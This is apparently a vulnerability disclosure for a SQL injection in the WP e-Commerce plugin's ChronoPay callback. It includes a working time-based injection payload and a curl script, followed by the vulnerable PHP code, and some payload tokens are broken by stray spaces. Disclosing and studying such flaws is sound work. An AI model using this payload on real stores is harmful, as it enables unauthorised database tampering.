---------------
PoC (POST data)
---------------
http://www.сайт.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,10 9,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77b f045&transaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,10 9,97,112))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_ type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
function WP_eCommerce() {
add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
}
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');